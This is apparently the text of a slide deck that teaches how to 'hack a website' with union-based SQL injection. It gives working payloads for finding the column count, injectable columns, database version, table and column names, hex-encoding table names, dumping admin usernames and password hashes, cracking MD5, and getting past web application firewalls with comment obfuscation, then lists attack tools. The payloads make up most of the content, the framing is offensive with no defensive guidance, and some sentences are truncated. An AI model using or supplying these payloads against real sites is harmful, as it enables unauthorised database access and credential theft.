SQL Injection

SQL Injection
Kaushal Kishore
Sr. Software Engineer
OSSCube Pvt. Ltd.
Kaushal.rahuljaiswal@gmail.com
www.osscube.com

What is SQL Injection

SQL injection is a technique that is applied by giving malicious inputs, that
result in allowing the hacker to access over the database of the Host, in
case if the database operations of that web sites is allowed directly...!

"SQL injection is a code injection technique that exploits a security
vulnerability occurring in the database layer of an application. The
vulnerability is present when user input is either incorrectly filtered for
string literal escape characters embedded in SQL statements or user input
is not strongly typed and thereby unexpectedly executed. It is an instance
of a more general class of vulnerabilities that can occur whenever one
programming or scripting language is embedded inside another. SQL
injection attacks are also known as SQL insertion attacks".

How to Hack the website Using
SQL Injection

Check Site is vulnerable or Not?

Add the '(Single Quote) sign with the integer value in URL

http://www.examplesite.com/index.php?id=5'

If the site shows you an error it is vulnerable to SQL, lets say we
found a vulnerable site.

Find Number of Columns

http://www.examplesite.com/index.php?id=5 order by 1--

And we will keep increasing the number until we get an error.



Lets say there is 10 columns in the database.

Find vulnerable columns.

http://www.examplesite.com/index.php?id=-5 union select
1,2,3,4,5,6,7,8,9,10--

Notice that I have put a single - in front of the id number (id=-5)

Since there is no page with the id -5 it simply put just clears the
sites text for us. That makes it easier for us to find the data that we
are looking for.

Okay lets say the numbers 3, 6 and 9 popped up on the site, as
vulnerable columns.

Find Database Version

1,2,@@version,4,5,6,7,8,9,10--

And if that doesn't work then try this 1:

1,2,version(),4,5,6,7,8,9,10--

Find Database Name

http://www.examplesite.com/index.php?id=-5 union select 1,2,
concat(database()) ,4,5,6,7,8,9,10--

Write that name down so you wont forget it. Lets say the database
name i just extracted was named exampledatabase

If the version is 4 or below, it is probably best that you just move on to
another site since you are gonna have to brute force the tables for
information (which isn't a very good idea for starters like us )

Find the Tables Name

1,2,group_concat(table_name),4,5,6,7,8,9,10 from
information_schema.tables where table_schema=database()--

1,2,concat(table_name),4,5,6,7,8,9,10 from information_schema.tables
where table_schema=database()--

1,2,table_name ,4,5,6,7,8,9,10 from information_schema.tables where
table_schema=database()--

Find the Columns Name

1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns
where table_name="admin"--

If the site shows you an error now don't panic! All that means is that
Magic Quotes is turned on. To bypass this we need to convert the
text "admin" into hex.

Change the Name of Table to
Hex

Copy the name of the table you are trying to access, visit the site
Text to Hex, paste the name into the website where it says "Say
Hello To My Little Friend". Click Convert copy the hex into your
query like this.

1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns
where table_name=0x61646d696e--

Notice the 0x before the hex string. This is to tell the server that the
next part is a hex string.

You should now see all the columns inside the table.

Find the Content of the Tables

Lets say there are 2 columns called username and password. In order
to see what are inside of those columns we will use this query:

1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10 from
exampledatabase.admin--

This is where we needed the database name. Btw the 0x3a means
colon ( : )

Now you have the admin login!

If it is decrypted, try to run it through some online md5 'decrypters' or
use my free cracked

And now we have to find the admin login, to do so, once again you can

By Pass The WAF

http://www.example.com/staffdetail.php?id=123'+/*!
union*/select+1,2,3,4,5,6,7--+

http://www.example.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/
1,2,3--

http://www.example.com/staffdetail.php?id=123'+/*!union*//*!select*/
+all+1,2,table_name,4,5,6,7+FROM+information_schema.tables+W
HERE+table_schema+=+database()+LIMIT+0,10--+

Tools for SQL Injection

SQL Ninja

SQL Map

Havij

Thank you for your Time and
Attention!
17

SQL Injection

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SQL Injection